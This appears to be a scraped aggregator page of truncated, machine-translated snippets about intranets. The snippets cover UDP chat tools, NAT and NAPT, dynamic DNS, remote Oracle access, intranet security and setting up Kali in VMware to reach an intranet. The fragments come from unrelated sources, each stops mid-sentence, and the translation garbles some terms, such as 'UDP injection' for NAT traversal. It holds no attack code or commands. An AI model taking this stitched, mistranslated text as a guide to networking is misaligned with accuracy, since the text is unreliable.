intranet freeware

I have been busy with UDP socket communication over the past few days. After a few days, I have finally achieved some success .... If you do not understand the differences between the Intranet and the Internet, and do not know the LAN and WAN, you should first familiarize yourself with the program. My current situation is that the client is on an intranet and wants to connect to an internet server. After re

Some time ago I made another communication software in Java-shanzhai zookeeper. Generally, this simple chat software is called a LAN chat tool, so can it implement Internet access to the Intranet for communication? This problem has been lingering for a long time in my mind. In the past, two simple clients used to communicate directly without passing through the server. Therefore, it is really hard to think about how to access machines in the other

---restore content starts---In the public network environment, to realize the remote access by domain name housekeeper management software, server or store video surveillance, etc., can be used dynamic domain name resolution software. But now IPV4 resources exhausted, the Great Wall broadband and other broadband operators to the user assigned to the network IP address. How does the intranet support it?Home network belongs to the

Modern office, each enterprise will establish its own internal LAN, and set up a server to store and share the day-to-day work of the various types of data required, many employees will also share some of their own computer data, so that other users of the local area network access and use, this way is to save data delivery time, Improve the efficiency of everyone, it can be said, very convenient. However, the resulting information security, network security issues are gradually exposed, we have

The Oracle database is one of the most applied databases. General Project Application. Deploying Oracle in the Intranet, intranet calls, and operations can only be done on the intranet.Suppose the Oracle host or local area network does not have a fixed public IP and wants to access Oracle on the outside network. It is necessary to solve the problem of dynamic IP or no public network IP. Corresponding applic

The problem is that there are two existing machines: intranet: one server on the intranet, which cannot be accessed directly from the Internet. Internet: the internet can access files and servers on the machine. At the same time, the machine can access any files on the intranet .. Due to historical reasons: the problem above the

threat outbreaks in the LAN. Relying on a single border firewall and anti-virus software, it cannot cope with viruses and other information security threats. Only by protecting each client can it effectively prevent virus intrusion, information leakage, and worms, network abuse and other problems. Therefore, Enterprise Intranet security management becomes increasingly important. Overview of Intranet Securi

as we all know, in order to infiltrate the intranet, you have to be in that intranet. But when you install Kali in VMware, most users do not choose bridging mode for convenience, but instead choose to use IP networks shared with nativeof course, this will be able to surf the Internet, but your virtual machine does not actually get the intranet IP. If you do not i

network, then basic NAT is responsible for translating the subnet IP of the node into a globally unique IP and sending it out. (Basic NAT changes the original IP address in the IP packet, but does not change the port in the IP packet). For basic NAT, refer to RFC 1631.Another kind of NAT is called NAPT, which we can see from the name.Napt not only changes the IP address of the IP datagram that passes through this NAT device, but also changes the TCP/UDP port of the IP datagram. Basic NAT Device

After writing object 672, a critical problem of the software is exposed. If both the server and client are in the Intranet environment, that is, both parties use NAT to access the Internet, in this case, the client cannot directly communicate with the server. The solution can be: 1: deploy the server in a public network without Nat. 2: Use common Nat penetration methods, such as UDP injection or STUN Protocol. However, these methods require another kn
